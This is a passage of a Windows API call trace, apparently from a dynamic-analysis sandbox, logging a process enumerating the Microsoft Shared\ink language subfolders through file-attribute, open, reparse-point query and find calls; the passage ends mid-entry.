[0266.626] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x118ebdc, lpLastWriteTime=0x118ebdc) returned 0 [0266.626] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x958080, nOutBufferSize=0x4000, lpBytesReturned=0x118ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x958080, lpBytesReturned=0x118ec34, lpOverlapped=0x0) returned 0 [0266.627] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x958080) returned 1 [0266.627] NtClose (Handle=0x198) returned 0x0 [0266.627] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x955130) returned 1 [0266.627] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x549100 [0266.627] GetLastError () returned 0x12 [0266.627] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x549080 [0266.627] FindClose (in: hFindFile=0x549100 | out: hFindFile=0x549100) returned 1 [0266.627] GetLastError () returned 0x12 [0266.627] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x955340) returned 1 [0266.627] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0266.628] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x955238) returned 1 [0266.628] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x955130) returned 1 [0266.628] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web"), fInfoLevelId=0x0, lpFileInformation=0x118eb98 | out: lpFileInformation=0x118eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7c69c0, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0266.665] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0266.674] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x118ebdc, lpLastWriteTime=0x118ebdc) returned 0 [0266.674] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x958080, nOutBufferSize=0x4000, lpBytesReturned=0x118ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x958080, lpBytesReturned=0x118ec34, lpOverlapped=0x0) returned 0 [0266.674] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x958080) returned 1 [0266.674] NtClose (Handle=0x190) returned 0x0 [0266.675] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x955130) returned 1 [0266.675] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x549080 [0266.675] GetLastError () returned 0x12 [0266.675] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\*", fInfoLevelId=0x1, lpFindFileData=0x118e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118e9e4) returned 0x549100 [0266.675] FindClose (in: hFindFile=0x549080 | out: hFindFile=0x549080) returned 1 [0266.676] GetLastError () returned 0x12 [0266.676] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x955238) returned 1 [0266.676] FindClose (in: hFindFile=0x549100 | out: hFindFile=0x549100) returned 1 [0266.676] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x955340) returned 1 [0266.676] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x955130) returned 1 [0266.676] GetLastError () returned 0x12 [0266.676] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9545d8) returned 1 [0266.676] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0266.677] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9546e0) returned 1 [0266.677] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x950f98) returned 1 [0266.677] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il"), fInfoLevelId=0x0, lpFileInformation=0x118ee50 | out: lpFileInformation=0x118ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0266.677] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0266.678] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x118ee94, lpLastWriteTime=0x118ee94) returned 0 [0266.678] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x958080, nOutBufferSize=0x4000, lpBytesReturned=0x118eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x958080, lpBytesReturned=0x118eeec, lpOverlapped=0x0) returned 0 [0266.678] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x958080) returned 1 [0266.678] NtClose (Handle=0x18c) returned 0x0 [0266.678] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0266.678] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549040 [0266.678] GetLastError () returned 0x12 [0266.678] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\he-IL\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549100 [0266.678] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0266.679] GetLastError () returned 0x12 [0266.679] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946738) returned 1 [0266.679] FindClose (in: hFindFile=0x549100 | out: hFindFile=0x549100) returned 1 [0266.679] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x950f98) returned 1 [0266.679] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0266.679] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr"), fInfoLevelId=0x0, lpFileInformation=0x118ee50 | out: lpFileInformation=0x118ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0266.679] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hr-hr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0266.680] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x118ee94, lpLastWriteTime=0x118ee94) returned 0 [0266.680] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x958080, nOutBufferSize=0x4000, lpBytesReturned=0x118eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x958080, lpBytesReturned=0x118eeec, lpOverlapped=0x0) returned 0 [0266.680] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x958080) returned 1 [0266.680] NtClose (Handle=0x198) returned 0x0 [0266.680] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0266.680] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549100 [0266.680] GetLastError () returned 0x12 [0266.680] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hr-HR\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549040 [0266.680] FindClose (in: hFindFile=0x549100 | out: hFindFile=0x549100) returned 1 [0266.681] GetLastError () returned 0x12 [0266.681] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9467c0) returned 1 [0266.681] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0266.681] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x950f98) returned 1 [0266.681] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0266.681] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu"), fInfoLevelId=0x0, lpFileInformation=0x118ee50 | out: lpFileInformation=0x118ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0266.681] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hu-hu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0266.682] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x118ee94, lpLastWriteTime=0x118ee94) returned 0 [0266.682] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x958080, nOutBufferSize=0x4000, lpBytesReturned=0x118eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x958080, lpBytesReturned=0x118eeec, lpOverlapped=0x0) returned 0 [0266.682] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x958080) returned 1 [0266.682] NtClose (Handle=0x18c) returned 0x0 [0266.682] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0266.682] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549040 [0266.682] GetLastError () returned 0x12 [0266.682] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hu-HU\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549100 [0266.682] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0266.683] GetLastError () returned 0x12 [0266.683] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946848) returned 1 [0266.683] FindClose (in: hFindFile=0x549100 | out: hFindFile=0x549100) returned 1 [0266.683] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x950f98) returned 1 [0266.683] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0266.683] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcustomization"), fInfoLevelId=0x0, lpFileInformation=0x118ee50 | out: lpFileInformation=0x118ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9e0df36a, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabda5f8, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0266.733] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcustomization"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0266.761] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x118ee94, lpLastWriteTime=0x118ee94) returned 0 [0266.762] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x958080, nOutBufferSize=0x4000, lpBytesReturned=0x118eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x958080, lpBytesReturned=0x118eeec, lpOverlapped=0x0) returned 0 [0266.762] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x958080) returned 1 [0266.762] NtClose (Handle=0x198) returned 0x0 [0266.762] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x950f98) returned 1 [0266.762] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549100 [0266.762] GetLastError () returned 0x12 [0266.762] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\HWRCustomization\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549040 [0266.762] FindClose (in: hFindFile=0x549100 | out: hFindFile=0x549100) returned 1 [0266.762] GetLastError () returned 0x12 [0266.762] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x957238) returned 1 [0266.762] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0266.763] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946848) returned 1 [0266.763] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x950f98) returned 1 [0266.763] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it"), fInfoLevelId=0x0, lpFileInformation=0x118ee50 | out: lpFileInformation=0x118ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0266.763] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\it-it"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0266.763] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x118ee94, lpLastWriteTime=0x118ee94) returned 0 [0266.763] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x958080, nOutBufferSize=0x4000, lpBytesReturned=0x118eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x958080, lpBytesReturned=0x118eeec, lpOverlapped=0x0) returned 0 [0266.763] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x958080) returned 1 [0266.763] NtClose (Handle=0x18c) returned 0x0 [0266.763] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946848) returned 1 [0266.763] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549040 [0266.764] GetLastError () returned 0x12 [0266.764] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\it-IT\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549100 [0266.764] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0266.764] GetLastError () returned 0x12 [0266.764] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946738) returned 1 [0266.764] FindClose (in: hFindFile=0x549100 | out: hFindFile=0x549100) returned 1 [0266.764] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x950f98) returned 1 [0266.764] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946848) returned 1 [0266.764] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp"), fInfoLevelId=0x0, lpFileInformation=0x118ee50 | out: lpFileInformation=0x118ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0266.764] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ja-jp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0266.765] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x118ee94, lpLastWriteTime=0x118ee94) returned 0 [0266.765] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x958080, nOutBufferSize=0x4000, lpBytesReturned=0x118eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x958080, lpBytesReturned=0x118eeec, lpOverlapped=0x0) returned 0 [0266.765] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x958080) returned 1 [0266.765] NtClose (Handle=0x198) returned 0x0 [0266.765] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946848) returned 1 [0266.765] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549100 [0266.765] GetLastError () returned 0x12 [0266.765] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ja-JP\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549040 [0266.765] FindClose (in: hFindFile=0x549100 | out: hFindFile=0x549100) returned 1 [0266.765] GetLastError () returned 0x12 [0266.765] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x9467c0) returned 1 [0266.765] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0266.766] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x950f98) returned 1 [0266.766] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946848) returned 1 [0266.766] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr"), fInfoLevelId=0x0, lpFileInformation=0x118ee50 | out: lpFileInformation=0x118ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0266.766] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ko-kr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x18c [0266.766] SetFileTime (hFile=0x18c, lpCreationTime=0x0, lpLastAccessTime=0x118ee94, lpLastWriteTime=0x118ee94) returned 0 [0266.766] DeviceIoControl (in: hDevice=0x18c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x958080, nOutBufferSize=0x4000, lpBytesReturned=0x118eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x958080, lpBytesReturned=0x118eeec, lpOverlapped=0x0) returned 0 [0266.766] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x958080) returned 1 [0266.766] NtClose (Handle=0x18c) returned 0x0 [0266.766] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946848) returned 1 [0266.766] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549040 [0266.767] GetLastError () returned 0x12 [0266.767] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549100 [0266.767] FindClose (in: hFindFile=0x549040 | out: hFindFile=0x549040) returned 1 [0266.767] GetLastError () returned 0x12 [0266.767] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x945638) returned 1 [0266.767] FindClose (in: hFindFile=0x549100 | out: hFindFile=0x549100) returned 1 [0266.767] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x950f98) returned 1 [0266.767] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946848) returned 1 [0266.767] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt"), fInfoLevelId=0x0, lpFileInformation=0x118ee50 | out: lpFileInformation=0x118ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0267.243] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\lt-lt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x198 [0267.246] SetFileTime (hFile=0x198, lpCreationTime=0x0, lpLastAccessTime=0x118ee94, lpLastWriteTime=0x118ee94) returned 0 [0267.247] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x4000) returned 0x957c78 [0267.247] DeviceIoControl (in: hDevice=0x198, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x957c78, nOutBufferSize=0x4000, lpBytesReturned=0x118eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x957c78, lpBytesReturned=0x118eeec, lpOverlapped=0x0) returned 0 [0267.247] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x957c78) returned 1 [0267.248] NtClose (Handle=0x198) returned 0x0 [0267.248] RtlFreeHeap (HeapHandle=0xa80000, Flags=0x0, BaseAddress=0x946848) returned 1 [0267.249] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x946848 [0267.249] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x945638 [0267.249] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0x946738 [0267.249] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549100 [0267.251] GetLastError () returned 0x12 [0267.251] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*", fInfoLevelId=0x1, lpFindFileData=0x118ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x118ec9c) returned 0x549040 [0267.251] FindClose (in: hFindFile=0x549100 | out: hFindFile=0x549100) returned 1 [0267.251] GetLastError () returned 0x12 [0267.251] RtlFreeHeap 